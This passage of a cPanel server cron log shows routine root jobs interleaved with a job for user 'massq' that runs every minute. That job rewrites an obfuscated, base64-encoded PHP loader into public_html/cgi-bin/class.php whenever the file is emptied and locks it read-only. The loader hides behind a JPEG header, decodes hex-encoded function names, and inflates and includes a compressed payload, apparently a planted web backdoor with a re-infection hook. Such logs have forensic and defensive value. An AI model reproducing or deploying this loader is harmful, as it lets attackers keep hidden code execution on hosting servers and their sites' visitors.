LF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:35:01 server CROND[18127]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 06:35:01 server CROND[18129]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 06:35:01 server CROND[18130]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 06:35:01 server CROND[18131]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  8 06:35:01 server CROND[18134]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:36:01 server CROND[18250]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:37:01 server CROND[18305]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:38:01 server CROND[18462]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:39:01 server CROND[18528]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 06:39:01 server CROND[18529]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:40:01 server CROND[18597]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 06:40:01 server CROND[18598]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 06:40:01 server CROND[18599]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 06:40:01 server CROND[18600]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:41:01 server CROND[18717]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:42:01 server CROND[18768]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 06:42:01 server CROND[18769]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:43:01 server CROND[18840]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:44:01 server CROND[18987]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:45:01 server CROND[19043]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 06:45:01 server CROND[19042]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 06:45:01 server CROND[19044]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:46:01 server CROND[19161]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:47:01 server CROND[19221]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
